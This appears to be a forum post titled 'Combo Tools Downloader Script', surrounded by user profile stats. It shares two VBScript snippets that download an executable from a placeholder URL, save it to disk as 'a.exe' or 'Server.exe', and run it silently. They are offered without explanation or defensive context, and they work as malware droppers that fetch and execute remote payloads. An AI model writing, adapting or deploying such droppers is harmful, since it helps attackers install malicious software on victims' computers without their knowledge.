• We just launched and are currently in beta. Join us as we build and grow the community.

Combo Tools Downloader Script

Biflox

Competitor Analysis Pro
B Rep
0
0
0
Rep
0
B Vouches
0
0
0
Vouches
0
Posts
36
Likes
83
Bits
2 MONTHS
2 2 MONTHS OF SERVICE
LEVEL 1 200 XP
Code:
strFileURL = "URL" strHDLocation = "c:\a\a.exe" Set objXMLHTTP = CreateObject("WinHttp.WinHttpRequest.5.1") objXMLHTTP.Open "GET", strFileURL, False objXMLHTTP.send If objXMLHTTP.Status = 200 Then Set objADOStream = CreateObject("ADODB.Stream") objADOStream.Open objADOStream.Type = 1 objADOStream.Write objXMLHTTP.ResponseBody objADOStream.Position = 0 Set objFSO = CreateObject("Scripting.FileSystemObject") on error resume next objFSO.CreateFolder "C:\a" If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation Set objFSO = Nothing objADOStream.SaveToFile strHDLocation objADOStream.Close Set objADOStream = Nothing End If Set objXMLHTTP = Nothing Dim shell Set shell = CreateObject("WScript.Shell") shell.Run Chr(34) & strHDLocation & Chr(34), 1, false
Code:
Set objHTTP = CreateObject("MSXML2.ServerXMLHTTP") objHTTP.Open "GET", "URL", False objHTTP.Send If objHTTP.Status = 200 Then Set objStream = CreateObject("ADODB.Stream") objStream.Open objStream.Type = 1 objStream.Write objHTTP.ResponseBody objStream.SaveToFile "Server.exe", 2 objStream.Close CreateObject("Wscript.Shell").Run "Server.exe" End If
 

452,496

337,656

337,664

Top